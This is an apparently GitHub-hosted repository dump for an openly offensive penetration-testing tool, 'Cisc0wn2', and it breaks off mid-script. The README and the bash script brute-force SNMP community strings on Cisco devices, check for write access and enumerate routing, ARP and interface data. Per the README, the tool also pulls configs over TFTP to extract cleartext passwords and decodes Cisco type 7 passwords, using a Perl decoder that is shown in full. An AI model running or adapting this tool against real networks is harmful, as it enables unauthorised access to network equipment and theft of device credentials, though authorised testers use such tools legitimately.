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There are many ways you could offer source, and different 655 | solutions will be better for different programs; see section 13 for the 656 | specific requirements. 657 | 658 | You should also get your employer (if you work as a programmer) or school, 659 | if any, to sign a "copyright disclaimer" for the program, if necessary. 660 | For more information on this, and how to apply and follow the GNU AGPL, see 661 | . -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Cisc0wn2 - Cisco SNMP Script 2 | ============================================ 3 | 4 | Cisco SNMP enumeration, brute force, config downloader and password cracking script. 5 | 6 | Tested and designed to work against Cisco IOS Switches and Routers. 7 | 8 | Complete rewrite of my original script, no longer requires Metasploit. 9 | 10 | Released under AGPL see LICENSE for more information 11 | 12 | Installing 13 | ======================= 14 | git clone https://github.com/commonexploits/cisco-SNMP-enumeration.git 15 | 16 | 17 | How To Use 18 | ======================= 19 | ./cisc0wn2.sh 20 | 21 | Features 22 | ======================= 23 | 24 | * Checks SNMP is enabled on the route 25 | * Brute forces the SNMP Read Only and Read Write community strings (can edit which wordlist it uses in script header) 26 | * Enumerates information such as IOS version, hostname, Arp table, Routing table, interface list and IP addresses using the RO or RW community string. 27 | * If RW community was found it will then download the router config automatically. 28 | * It then searches and displays any enable or telnet passwords in clear text. 29 | * If it finds Cisco type 7 encoded enable or telnet passwords it will auto decode them. 30 | * It will display the Enable secret type 5 password hash. 31 | * Added command line features, can specify single community, list of communites in file and router IP. -h to display help. 32 | * Has a few built-in communites in the script code, if no string or list or strings supplied it will try the built in ones. 33 | * Much faster as no longer uses Metasploit, only checks RW access against RO strings found to save duplicate checks. Uses built in TFTP server. 34 | 35 | Requirements 36 | ======================= 37 | 38 | * No longer requires Metasploit to function. 39 | * Requires snmpwalk and snmpset 40 | 41 | Tested Kali Linux 42 | 43 | 44 | 45 | Screen Shot 46 | ======================= 47 | Screenshot 48 | 49 | Screenshot 50 | 51 | Change Log 52 | ======================= 53 | 54 | * Version 2.0 - Complete new version with code cleanup into functions, no longer requires Metasploit. Command line switches added 55 | -------------------------------------------------------------------------------- /cisc0wn2.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Cisc0wn2 - The Cisco SNMP 0wner. 3 | # Daniel Compton 4 | # www.commonexploits.com 5 | # contact@commexploits.com 6 | # Twitter = @commonexploits 7 | # 01/05/2015 8 | # Requires atftpd, snmpwalk, snmpset, screen - suggest Kali Linux as all installed by default 9 | # Now uses snmpwalk/snmpset for all functions, no requirement on using Metasploit. Lots of code rewrite and fixes applied. 10 | 11 | # Default SNMP Community strings to check for if not user strings supplied. If editing add in between both EOT tags, but do not remove EOT. 12 | strings() { 13 | cat <<"EOT" 14 | public 15 | private 16 | Public 17 | Private 18 | system 19 | manager 20 | cacti 21 | monitor 22 | EOT 23 | } 24 | 25 | # Text colour index 26 | RED=$(tput setaf 1) 27 | GREEN=$(tput setaf 2) 28 | YELLOW=$(tput setaf 3) 29 | BLUE=$(tput setaf 4) 30 | MAGENTA=$(tput setaf 5) 31 | CYAN=$(tput setaf 6) 32 | BRIGHT=$(tput bold) 33 | NORMAL=$(tput sgr0) 34 | 35 | # user config settings 36 | COM_PASS="strings.tmp" #ocation of snmp communities to try 37 | OPATH=$(pwd) 38 | OUTPUTDIR=$(printf "%s\n" "${OPATH}/") 39 | TFTPOUTPUTDIR="/tmp/" 40 | SNMPVER="2c" #2c or change to 1 41 | PORT="161" #default snmp port 42 | 43 | # Script begins 44 | #=============================================================================== 45 | clear 46 | 47 | VERSION="2.0" 48 | 49 | banner() { 50 | tput setaf 4; tput bold sgr0; cat <<"EOT" 51 | 52 | ___ _ ___ 53 | / __\(_) ___ ___ / _ \ __ __ _ __ 54 | / / | |/ __| / __|| | | |\ \ /\ / /| '_ \ 55 | / /___ | |\__ \| (__ | |_| | \ V V / | | | | 56 | \____/ |_||___/ \___| \___/ \_/\_/ |_| |_| 57 | 58 | EOT 59 | } 60 | 61 | 62 | #Dependency checking 63 | checkdepend() { 64 | 65 | #Check for snmpwalk 66 | which snmpwalk >/dev/null 67 | if [ $? -eq 1 ] 68 | then 69 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required snmpwalk program, install and try again${NORMAL}" 70 | exit 1 71 | fi 72 | 73 | #Check for snmpset 74 | which snmpset >/dev/null 75 | if [ $? -eq 1 ] 76 | then 77 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required snmpset program, install and try again${NORMAL}" 78 | exit 1 79 | fi 80 | 81 | #Check for screen 82 | which screen >/dev/null 83 | if [ $? -eq 1 ] 84 | then 85 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required screen program, install and try again${NORMAL}" 86 | exit 1 87 | fi 88 | 89 | #Check for atftpd 90 | which atftpd >/dev/null 91 | if [ $? -eq 1 ] 92 | then 93 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Unable to find the required atftpd program, install and try again${NORMAL}" 94 | exit 1 95 | fi 96 | } 97 | 98 | #clear 99 | 100 | # script starts do not alter 101 | #_________________________________________________________________________________________________________________________________________________________ 102 | 103 | # Cisco OIDs used 104 | # Routing Info 105 | ROUTEOID=".1.3.6.1.2.1.4.21.1.1" 106 | ROUTDESTOID=".1.3.6.1.2.1.4.21.1.1" # Destination 107 | ROUTHOPOID=".1.3.6.1.2.1.4.21.1.7" # Next Hop 108 | ROUTMASKOID=".1.3.6.1.2.1.4.21.1.11" # Mask 109 | ROUTMETOID=".1.3.6.1.2.1.4.21.1.3" # Metric 110 | ROUTINTOID=".1.3.6.1.2.1.4.21.1.2" # Interface 111 | ROUTTYPOID=".1.3.6.1.2.1.4.21.1.8" # Route type 112 | ROUTPROTOID=".1.3.6.1.2.1.4.21.1.9" # Route protocol 113 | ROUTAGEOID=".1.3.6.1.2.1.4.21.1.10" # Route age 114 | #Interface Info 115 | INTLISTOID=".1.3.6.1.2.1.2.2.1.2" # Interfaces 116 | INTIPLISTOID=".1.3.6.1.2.1.4.20.1.1" # IP address 117 | INTIPMASKOID=".1.3.6.1.2.1.4.20.1.3" # Subnet mask 118 | INTSTATUSLISTOID=".1.3.6.1.2.1.2.2.1.8" # Status 119 | # Arp table 120 | ARPADDR=".1.3.6.1.2.1.3.1 " # Arp address 121 | WRITEOID=".1.3.6.1.2.1.1.4.0" 122 | CONTACTOID=".1.3.6.1.2.1.1.4.0" 123 | HOSTNAMEOID=".1.3.6.1.2.1.1.5.0" 124 | ARPOID=".1.3.6.1.2.1.3.1.1.2" 125 | TFTPOID=".1.3.6.1.4.1.9.2.1.55." #Cisco TFTP OID for config download 126 | STRINGSP="strings" # strings if list supplied, string if -s option used 127 | 128 | spinner() 129 | { 130 | local pid=$1 131 | local delay=0.175 132 | local spinstr='|/-\' 133 | local infotext=$2 134 | while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do 135 | local temp=${spinstr#?} 136 | printf ${BRIGHT}${GREEN}"[%c]${NORMAL} %s" "$spinstr" "$infotext" 137 | local spinstr=$temp${spinstr%"$temp"} 138 | sleep $delay 139 | printf "\b\b\b\b\b\b" 140 | for i in $(seq 1 ${#infotext}); do 141 | printf "\b" 142 | done 143 | done 144 | printf " \b\b\b\b" 145 | } 146 | 147 | ipscan() { 148 | printf '\n\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------" 149 | printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the IP address of the Cisco device to scan" 150 | printf '\r%s\n\n' "${BRIGHT}${RED}----------------------------------------------------------${NORMAL}" 151 | read CISCOIP 152 | printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[-]${NORMAL}" "Just checking that SNMP is open and accessible from this system." 153 | } 154 | 155 | # If have Internet access check if Cisc0wn is the latest release 156 | compare_version() { 157 | printf '\r\n%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} Checking for Internet connectivity" 158 | ping 8.8.8.8 -c 1 > /dev/null 2>&1 159 | if [ $? = 0 ] 160 | then 161 | printf '\r\n%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Internet connectivity confirmed, now checking the version." 162 | NEWVERSION=$(curl -s "http://www.commonexploits.com/tools/cisc0wn/version.txt" 2>/dev/null |cut -d "." -f 1,2) 163 | CHKVERSION=$(echo "$VERSION < $NEWVERSION"| bc) 164 | if [ $CHKVERSION -eq 1 ] 165 | then 166 | printf '\n \r%s %s\n\n' "${BRIGHT}${YELLOW}[!]${NORMAL} Your version of Cisc0wn is outdated. Please update to version ${BRIGHT}${GREEN}$NEWVERSION${NORMAL}" 167 | printf '\r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Download the latest version from ${BRIGHT}${BLUE}https://github.com/commonexploits/cisc0wn${NORMAL}" 168 | else 169 | printf '\n \r%s %s\n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Your version of Cisc0wn is the latest version ${BRIGHT}${GREEN}$NEWVERSION${NORMAL}" 170 | fi 171 | else 172 | printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} You do not seem to have an Internet connection, unable to check the version." 173 | exit 0 174 | fi 175 | } 176 | 177 | # menu options 178 | tags () { 179 | printf '\r\n%s\n\n' "${BRIGHT}${RED}[?]${NORMAL} Script flag options" 180 | printf '\r%s\n' "${BRIGHT}${BLUE}-f${NORMAL} Enter file name containing SNMP strings (1 per line)" 181 | printf '\r%s\n' "${BRIGHT}${BLUE}-s${NORMAL} Enter one single SNMP community to scan for" 182 | printf '\r%s\n' "${BRIGHT}${BLUE}-i${NORMAL} Enter IP address of device to scan" 183 | printf '\r%s\n' "${BRIGHT}${BLUE}-v${NORMAL} Version - check if latest version - Internet access required" 184 | printf '\r%s\n\n' "${BRIGHT}${BLUE}-h${NORMAL} Displays this help menu" 185 | printf '\r%s\n\n' "Default scan runs with built in SNMP Communities and prompt for IP info" 186 | } 187 | 188 | 189 | pause(){ 190 | printf '\n' 191 | read -p "Press [Enter] key to continue." fackEnterKey 192 | printf '\n' 193 | } 194 | 195 | 196 | 197 | 198 | # Perl Base64 decoder 199 | perldecode() { 200 | perl <<'EOF' 201 | 202 | use Term::ANSIColor; 203 | @xlat = ( 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 204 | 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 205 | 0x64, 0x4a, 0x4b, 0x44, 0x48, 0x53 , 0x55, 0x42 ); 206 | 207 | 208 | 209 | if (!(length($ENV{BASE64}) & 1)) { 210 | $ep = $ENV{BASE64}; 211 | $dpassenable = ""; 212 | ($s, $e) = ($ep =~ /^(..)(.+)/); 213 | for ($i = 0; $i < length($e); $i+=2){ 214 | $dpassenable .= sprintf "%c",hex(substr($e,$i,2))^$xlat[$s++]; 215 | } 216 | } 217 | 218 | print color 'bold green'; 219 | print "$dpassenable\n\n"; 220 | print color 'reset'; 221 | EOF 222 | 223 | } 224 | 225 | # nmap to check SNMP is open 226 | nmapsnmp() { 227 | NMAP=`nmap -sU -sV -p $PORT $CISCOIP 2>&1 |grep "open" | awk '{ print $2 }'` 228 | if [ "$NMAP" = "open" ] 229 | then 230 | printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "SNMP was found enabled on ${BRIGHT}${GREEN}"$CISCOIP"${NORMAL}" 231 | else 232 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "SNMP is either closed or filtered from this device. Check connectivity and try again. Script can't continue." 233 | exit 1 234 | fi 235 | } 236 | 237 | # SNMP community string checks 238 | scansnmpcom() { 239 | COMNO=$(cat "$COM_PASS" | wc -l) 240 | printf '\r\n%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now testing SNMP communities with ${BRIGHT}${GREEN}"$COMNO"${NORMAL} $STRINGSP." 241 | 242 | snmpcheckrw() { 243 | echo "$GETLOCATION" >location.tmp 244 | WRILOC=$(cat location.tmp) 245 | snmpset -v 2c -Cq -c "$COMSCAN" $CISCOIP "$WRITEOID" s "$WRILOC" 2>/dev/null 246 | if [ $? = 0 ] 247 | then 248 | printf '%s\n' " - ${BRIGHT}${RED}Read-Write${NORMAL} access" 249 | READW="$COMSCAN" 250 | else 251 | printf '%s\n' " - ${BRIGHT}${YELLOW}Read-Only${NORMAL} access" 252 | READO="$COMSCAN" 253 | fi 254 | } 255 | for COMSCAN in $(cat $COM_PASS) 256 | do 257 | snmpwalk -v 2c -c $COMSCAN $CISCOIP 2>/dev/null |head -1 |grep -i iso >/dev/null 258 | if [ $? = 0 ] 259 | then 260 | printf '\r%s %s' "${BRIGHT}${GREEN}[+]${NORMAL}" "Valid Community String was found ${BRIGHT}${GREEN}"$COMSCAN"${NORMAL}" ;snmpcheckrw 261 | GETLOCATION=$(snmpwalk -v 2c -On -c "$COMSCAN" $CISCOIP |grep "$WRITEOID" |cut -d ":" -f 2 | cut -d '"' -f 2) 262 | 263 | fi 264 | done 265 | } 266 | 267 | # show version/info 268 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}--------------------------------------------------------------------------------------- ${NORMAL}" 269 | banner 270 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE} --- Cisc0wn - The Cisco SNMP Extractor Version $VERSION --- ${NORMAL}" 271 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}-------------------------------------------------------------------------------------- ${NORMAL}" 272 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}./cisc0wn2.sh -h for help menu for command line options. ${NORMAL}" 273 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}If no options are supplied, it will run in default mode with built in SNMP strings. ${NORMAL}" 274 | printf '\n \r%s %s\n' "${BRIGHT}${BLUE}-------------------------------------------------------------------------------------- ${NORMAL}" 275 | 276 | #check dependencies 277 | checkdepend 278 | 279 | # show menu 280 | 281 | while getopts "f:s:i:vh" menu 282 | do 283 | case "${menu}" in 284 | f) filename=${OPTARG};; 285 | s) inputstring=${OPTARG};; 286 | i) inputip=${OPTARG};; 287 | v) compare_version; exit;; 288 | h) tags; exit;; 289 | *) tags; exit;; 290 | esac 291 | done 292 | 293 | if [ "$filename" ] && [ "$inputstring" ] 294 | then 295 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry you have supplied both a manual string and a file of strings, please only supply one of these options and try again!${NORMAL}" 296 | exit 1 297 | 298 | elif [ "$filename" ] 299 | then 300 | COM_PASS="$filename" 301 | cat $filename >/dev/null 2>&1 302 | if [ $? = 1 ] 303 | then 304 | printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry I can't read that file, check the path and try again!${NORMAL}" 305 | exit 1 306 | else 307 | READFILESTRINGS=$(cat $filename |wc -l) 308 | printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "I can read ${BRIGHT}${GREEN}"$READFILESTRINGS"${NORMAL} community strings from the input file ${BRIGHT}${GREEN}"$COM_PASS"${NORMAL}" 309 | STRINGSP="user defined strings" 310 | fi 311 | elif [ "$inputstring" ] 312 | then 313 | echo "$inputstring" > "$COM_PASS" 314 | STRINGSP="user defined string" 315 | 316 | else 317 | strings > "$COM_PASS" 318 | STRINGSP="default strings" 319 | fi 320 | 321 | if [ "$inputip" ] 322 | then 323 | CISCOIP="$inputip" 324 | else 325 | ipscan 326 | fi 327 | 328 | #check snmp is open 329 | nmapsnmp 330 | #scan for snmp communities 331 | scansnmpcom 332 | 333 | if [[ -z "$READO" && -z "$READW" ]] 334 | then 335 | printf '\r\n%s \n\n' "${BRIGHT}${RED}[!]${NORMAL} No SNMP community string matches were found. Try increasing the community strings to check for." 336 | exit 1 337 | fi 338 | 339 | if [ -z "$READO" ] 340 | then 341 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} I will use the writeable string of ${BRIGHT}${GREEN}"$READW"${NORMAL} as no read only community was found." 342 | ENUMCOM=`echo "$READW"` 343 | else 344 | ENUMCOM=`echo "$READO"` 345 | fi 346 | 347 | printf '\r\n%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "Extracting information from ${BRIGHT}${GREEN}"$CISCOIP"${NORMAL} using the community string ${BRIGHT}${GREEN}"$ENUMCOM"${NORMAL}." 348 | 349 | # IOS version Extract 350 | iossearch() { 351 | IOS=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP |grep "RELEASE SOFTWARE" | awk '{ print $0 }' |awk '{sub(/^[ \t]+/, ""); print}') 352 | if [ -n "$IOS" ] 353 | then 354 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} IOS version Obtained " 355 | printf '\r %s \n\n' "${BRIGHT}${GREEN}$IOS${NORMAL}" 356 | fi 357 | } 358 | #printf '\r%s \n\n' "${BRIGHT}${GREEN}[-]${NORMAL} Searching for IOS Version" 359 | iossearch & 360 | spinner $! "Searching for IOS Version" 361 | 362 | # CONTACT Info 363 | contactsearch() { 364 | CONTACT=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $CONTACTOID | grep iso | cut -d '"' -f 2) 365 | if [ -n "$CONTACT" ] 366 | then 367 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} SNMP Contact Obtained " 368 | printf '\r %s \n\n' "${BRIGHT}${GREEN}$CONTACT${NORMAL}" 369 | fi 370 | } 371 | contactsearch & 372 | spinner $! "Searching for IOS Version" 373 | 374 | # Device Hostname 375 | hostnamesearch() { 376 | HOSTNAME=$(snmpwalk -c $ENUMCOM -On -v$SNMPVER $CISCOIP |grep $HOSTNAMEOID |cut -d ":" -f 2 | cut -d '"' -f 2) 377 | if [ -n "$HOSTNAME" ] 378 | then 379 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Device Hostname Obtained " 380 | printf '\r %s \n\n' "${BRIGHT}${GREEN}$HOSTNAME${NORMAL}" 381 | fi 382 | } 383 | hostnamesearch & 384 | spinner $! "Searching for Device Hostname" 385 | pause 386 | clear 387 | 388 | routingsearch() { 389 | ANYROUTES=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTEOID | awk '{print $NF}' 2>&1) 390 | if [ "$ANYROUTES" = "OID" ] 391 | then 392 | printf '\n' 393 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} No routing tables found, this is probably a Layer 2 device." 394 | else 395 | # routing table format headers 396 | echo "-------------------" >"$OUTPUTDIR"ROUTDEST 397 | echo "Destination" >>"$OUTPUTDIR"ROUTDEST 398 | echo "-------------------">>"$OUTPUTDIR"ROUTDEST 399 | 400 | echo "-----------------" >"$OUTPUTDIR"ROUTHOP 401 | echo "Next_Hop" >>"$OUTPUTDIR"ROUTHOP 402 | echo "-----------------">>"$OUTPUTDIR"ROUTHOP 403 | 404 | echo "---------------" >"$OUTPUTDIR"ROUTMASK 405 | echo "Mask" >>"$OUTPUTDIR"ROUTMASK 406 | echo "---------------">>"$OUTPUTDIR"ROUTMASK 407 | 408 | echo "-----------" >"$OUTPUTDIR"ROUTMET 409 | echo "Metric" >>"$OUTPUTDIR"ROUTMET 410 | echo "-----------">>"$OUTPUTDIR"ROUTMET 411 | 412 | echo "-----------" >"$OUTPUTDIR"ROUTINT 413 | echo "Interface" >>"$OUTPUTDIR"ROUTINT 414 | echo "-----------">>"$OUTPUTDIR"ROUTINT 415 | 416 | echo "-----------" >"$OUTPUTDIR"ROUTTYP 417 | echo "Type" >>"$OUTPUTDIR"ROUTTYP 418 | echo "-----------">>"$OUTPUTDIR"ROUTTYP 419 | 420 | echo "----------" >"$OUTPUTDIR"ROUTPROT 421 | echo "Protocol" >>"$OUTPUTDIR"ROUTPROT 422 | echo "----------">>"$OUTPUTDIR"ROUTPROT 423 | 424 | echo "--------" >"$OUTPUTDIR"ROUTAGE 425 | echo "Age" >>"$OUTPUTDIR"ROUTAGE 426 | echo "--------">>"$OUTPUTDIR"ROUTAGE 427 | 428 | #snmp walk the routing table OIDs into temp files 429 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTDESTOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTDEST 430 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTHOPOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTHOP 431 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTMASKOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTMASK 432 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTMETOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTMET 433 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTINTOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTINT 434 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTTYPOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTTYP 435 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTPROTOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTPROT 436 | snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ROUTAGEOID | awk '{print $NF}' 2>&1 >>"$OUTPUTDIR"ROUTAGE 437 | 438 | paste "$OUTPUTDIR"ROUTDEST "$OUTPUTDIR"ROUTHOP "$OUTPUTDIR"ROUTMASK "$OUTPUTDIR"ROUTMET "$OUTPUTDIR"ROUTINT "$OUTPUTDIR"ROUTTYP "$OUTPUTDIR"ROUTPROT "$OUTPUTDIR"ROUTAGE |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-routes.txt 439 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Routing Tables Extracted " 440 | cat "$OUTPUTDIR$CISCOIP"-routes.txt 441 | printf '\n' 442 | #remove temp files 443 | rm "$OUTPUTDIR"ROUT* 2>&1 >/dev/null 444 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The routing table has also been saved to the following location ${BRIGHT}${BLUE}$OUTPUTDIR$CISCOIP-routes.txt${NORMAL}" 445 | fi 446 | 447 | } 448 | printf '\n' 449 | routingsearch & 450 | spinner $! "Searching for Routing Tables" 451 | 452 | arpsearch () { 453 | # arp table walk 454 | ARPIPADDRESSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ARPOID | cut -d ':' -f 1 |cut -d "." -f 13,14,15,16 |awk '{print $1}' 2>&1) 455 | ARPMACADDRESSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $ARPOID | cut -d ':' -f 2 |awk '{sub(/^[ \t]+/, ""); print}' |cut -d ':' -f 1 |tr ' ' ':' |sed 's/:$//' 2>&1) 456 | if [ -n "$ARPIPADDRESSCHECK" ] && [ -n "$ARPMACADDRESSCHECK" ] 457 | then 458 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} ARP Table Obtained " 459 | # Arp table headers 460 | echo "------------------" >"$OUTPUTDIR"ARPADDRESS 461 | echo "IP_Address " >>"$OUTPUTDIR"ARPADDRESS 462 | echo "------------------" >>"$OUTPUTDIR"ARPADDRESS 463 | echo "$ARPIPADDRESSCHECK" >>"$OUTPUTDIR"ARPADDRESS 464 | echo "-------------------------" >"$OUTPUTDIR"ARPDARDWARE 465 | echo "Physical_Address " >>"$OUTPUTDIR"ARPDARDWARE 466 | echo "-------------------------" >>"$OUTPUTDIR"ARPDARDWARE 467 | echo "$ARPMACADDRESSCHECK" >>"$OUTPUTDIR"ARPDARDWARE 468 | paste "$OUTPUTDIR"ARPADDRESS "$OUTPUTDIR"ARPDARDWARE |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-arptable.txt 469 | cat "$OUTPUTDIR$CISCOIP"-arptable.txt 470 | #remove temp files 471 | rm "$OUTPUTDIR"ARP* 2>&1 >/dev/null 472 | printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The arp table has also been saved to the following location ${BRIGHT}${BLUE}$OUTPUTDIR$CISCOIP-arptable.txt${NORMAL}" 473 | fi 474 | } 475 | 476 | arpsearch & 477 | spinner $! "Searching for ARP Tables" 478 | 479 | interfacesearch() { 480 | #snmp walk the interface OIDs into temp files 481 | INTERFACELISTCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTLISTOID | awk '{print $NF}'|cut -d '"' -f 2 2>&1) 482 | INTERFACESTATUSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTSTATUSLISTOID | awk '{print $NF}' |sed -e "s/1/Up/g" |sed -e "s/[2-9]/Down/g" 2>&1) 483 | if [ -n "$INTERFACELISTCHECK" ] 484 | then 485 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} Interface List Obtained " 486 | # Interface header info 487 | echo "-------------------" >"$OUTPUTDIR"INTLIST 488 | echo "Interface" >>"$OUTPUTDIR"INTLIST 489 | echo "-------------------">>"$OUTPUTDIR"INTLIST 490 | echo "$INTERFACELISTCHECK" >>"$OUTPUTDIR"INTLIST 491 | echo "-----------" >"$OUTPUTDIR"INTSTATUSLIST 492 | echo "Status" >>"$OUTPUTDIR"INTSTATUSLIST 493 | echo "-----------">>"$OUTPUTDIR"INTSTATUSLIST 494 | echo "$INTERFACESTATUSCHECK" >>"$OUTPUTDIR"INTSTATUSLIST 495 | paste "$OUTPUTDIR"INTLIST "$OUTPUTDIR"INTSTATUSLIST |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-interfaces.txt 496 | cat "$OUTPUTDIR$CISCOIP"-interfaces.txt 497 | printf '\n' 498 | #remove temp files 499 | rm "$OUTPUTDIR"INT* 2>&1 >/dev/null 500 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The interface list has also been saved to the following location ${BRIGHT}${BLUE}"$OUTPUTDIR$CISCOIP"-interfaces.txt${NORMAL}" 501 | fi 502 | } 503 | 504 | interfacesearch & 505 | spinner $! "Searching for Interface information" 506 | 507 | ipaddresssearch () { 508 | #snmp walk the IP Addresses OIDs into temp files 509 | IPADDRESSCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTIPLISTOID | awk '{print $NF}' 2>&1) 510 | IPADDRESSSUBNETCHECK=$(snmpwalk -c $ENUMCOM -v$SNMPVER $CISCOIP $INTIPMASKOID | awk '{print $NF}' 2>&1) 511 | 512 | if [ -n "$IPADDRESSCHECK" ] && [ -n "$IPADDRESSSUBNETCHECK" ] 513 | then 514 | printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL} IP Address Information Obtained " 515 | echo "-----------------" >"$OUTPUTDIR"IPLIST 516 | echo "IP_Address" >>"$OUTPUTDIR"IPLIST 517 | echo "-----------------">>"$OUTPUTDIR"IPLIST 518 | echo "$IPADDRESSCHECK" >>"$OUTPUTDIR"IPLIST 519 | echo "---------------" >"$OUTPUTDIR"IPMASK 520 | echo "Subnet_Mask" >>"$OUTPUTDIR"IPMASK 521 | echo "---------------">>"$OUTPUTDIR"IPMASK 522 | echo "$IPADDRESSSUBNETCHECK" >>"$OUTPUTDIR"IPMASK 523 | paste "$OUTPUTDIR"IPLIST "$OUTPUTDIR"IPMASK |column -t 2>&1 >"$OUTPUTDIR$CISCOIP"-iplist.txt 524 | cat "$OUTPUTDIR$CISCOIP"-iplist.txt 525 | printf '\n' 526 | #remove temp files 527 | rm "$OUTPUTDIR"IP* 2>&1 >/dev/null 528 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The IP address list has also been saved to the following location ${BRIGHT}${BLUE}"$OUTPUTDIR$CISCOIP"-iplist.txt${NORMAL}" 529 | fi 530 | } 531 | ipaddresssearch & 532 | spinner $! "Searching for IP Address information" 533 | 534 | # config download check if have write community string 535 | checkrwtftp() { 536 | echo "$READW" >/dev/null 537 | if [ -z "$READW" ] 538 | then 539 | printf '\r%s \n\n' "${BRIGHT}${RED}[!]${NORMAL} I will not be able to attempt to download the config, as I didn't find any writeable community string earlier." 540 | printf '\r%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Script will now exit as I have done all I can with read only access" 541 | exit 1 542 | else 543 | printf '\r%s \n' "${BRIGHT}${BLUE}[i]${NORMAL} As a writeable SNMP community string of ${BRIGHT}${GREEN}"$READW"${NORMAL} was found, an attempt will be made to download the config file" 544 | pause 545 | clear 546 | 547 | fi 548 | 549 | } 550 | 551 | # list source Ethernet interfaces to scan from 552 | sourceinterfaces() { 553 | printf '\n\r%s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} The following Interfaces are available" 554 | ip addr show |grep -v LOOPBACK |grep qlen | cut -d ':' -f 2 |awk '{sub(/^[ \t]+/, ""); print}' 555 | printf '\n\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------" 556 | printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the local interface to use:" 557 | printf '\r%s\n\n' "${BRIGHT}${RED}----------------------------------------------------------${NORMAL}" 558 | read MYINT 559 | 560 | CHECKMYINT=$(ip addr show |grep -v LOOPBACK |grep qlen | cut -d ':' -f 2 |awk '{sub(/^[ \t]+/, ""); print}'| grep -i -w "$MYINT") 561 | if [ "$CHECKMYINT" != "$MYINT" ] 562 | then 563 | printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "Sorry the interface you entered does not exist! - check and try again." 564 | exit 0 565 | else 566 | LOCALIP=$(ip addr |grep "$MYINT" |grep "inet" |cut -d "." -f 1,2,3,4 |cut -d "/" -f 1 | cut -d "t" -f 2 